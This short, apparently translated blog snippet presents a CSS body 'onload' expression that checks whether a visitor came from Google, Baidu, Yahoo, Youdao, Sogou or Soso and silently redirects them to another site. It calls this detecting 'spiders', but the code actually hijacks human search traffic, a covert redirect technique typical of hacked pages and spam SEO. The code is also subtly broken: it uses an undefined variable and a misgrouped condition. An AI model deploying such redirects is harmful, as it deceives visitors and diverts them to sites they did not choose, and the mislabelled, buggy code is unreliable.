The JS script introduced today is written in the onload of the body. That is, the judgment is made when the page is loaded. The code is as follows:
body {onload:expression( if(window.name!="Yang"){ var str1 = document.referrer; str1 = str1.toLowerCase(); var str6 = 'google.'; var str7 = 'baidu.'; var str4 = 'yahoo.'; var str8 = 'youdao.'; var str9 = 'sogou.'; var str5 = 'soso.'; if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9) >0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage) { self.location='http://www.abc.com/'; window.name="Yang"; } } );}
This JS method of determining the source of spiders is not easy to use. Especially when more spider sources need to be determined, it is more troublesome to write code.